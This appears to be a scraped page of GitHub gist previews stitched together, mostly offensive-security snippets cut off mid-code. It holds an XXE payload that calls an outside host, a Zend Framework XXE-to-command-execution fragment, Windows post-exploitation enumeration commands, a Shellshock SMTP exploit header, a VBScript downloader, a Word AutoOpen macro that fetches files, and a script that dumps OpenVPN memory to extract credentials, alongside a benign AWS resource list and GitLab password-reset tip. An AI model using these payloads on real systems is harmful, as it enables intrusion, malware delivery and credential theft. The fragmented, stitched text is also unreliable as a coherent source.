Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt | |
into a Remote Command Execution: | |
NOTE: It relies on the PHP expect module being loaded | |
(see http://de.php.net/manual/en/book.expect.php) | |
joern@vbox-1:/tmp$ cat /var/www/server.php | |
<? | |
require_once("/usr/share/php/libzend-framework-php/Zend/Loader/Autoloader.php"); | |
Zend_Loader_Autoloader::getInstance(); |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
// What system are we connected to? | |
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | |
// Get the hostname and username (if available) | |
hostname | |
echo %username% | |
// Get users | |
net users | |
net user [username] |
#!/bin/python | |
# Exploit Title: Shellshock SMTP Exploit | |
# Date: 10/3/2014 | |
# Exploit Author: fattymcwopr | |
# Vendor Homepage: gnu.org | |
# Software Link: http://ftp.gnu.org/gnu/bash/ | |
# Version: 4.2.x < 4.2.48 | |
# Tested on: Debian 7 (postfix smtp server w/procmail) | |
# CVE : 2014-6271 | |
INTRO | |
I get asked regularly for good resources on AWS security. This gist collects some of these resources (docs, blogs, talks, open source tools, etc.). Feel free to suggest and contribute. | |
Short Link: http://tiny.cc/awssecurity | |
Official AWS Security Resources | |
* Security Blog - http://blogs.aws.amazon.com/security/ | |
* Security Advisories - http://aws.amazon.com/security/security-bulletins/ | |
* Security Whitepaper (AWS Security Processes/Practices) - http://media.amazonwebservices.com/pdf/AWS_Security_Whitepaper.pdf | |
* Security Best Practices Whitepaper - http://media.amazonwebservices.com/AWS_Security_Best_Practices.pdf |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
echo strUrl = WScript.Arguments.Item(0) > wget.vbs | |
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs | |
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs | |
echo Err.Clear >> wget.vbs | |
echo Set http = Nothing >> wget.vbs | |
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs |
Sub AutoOpen() | |
Const ADTYPEBINARY = 1 | |
Const ADSAVECREATEOVERWRITE = 2 | |
Dim xHttp | |
Dim bStrm | |
Dim filename | |
Set xHttp = CreateObject("Microsoft.XMLHTTP") |
Lost the root/admin password? You can reset it using the command-line. Recipe adapted from gitlab issue #308.
# start the console
sudo gitlab-rails console
#!/bin/bash | |
# This little hack-job will grab credentials from a running openvpn process in Linux | |
# Keep in mind this won't work if the user used the --auth-nocache flag | |
pid=$(ps -efww | grep -v grep | grep openvpn | awk '{print $2}') | |
echo $pid | grep rw-p /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $pid -ex "dump memory $pid-$start-$stop.dump 0x$start 0x$stop"; done | |
echo "Your credentials should be listed below as username/password" | |
strings *.dump | awk 'NR>=3 && NR<=4 { print }' | |
rm *.dump --force |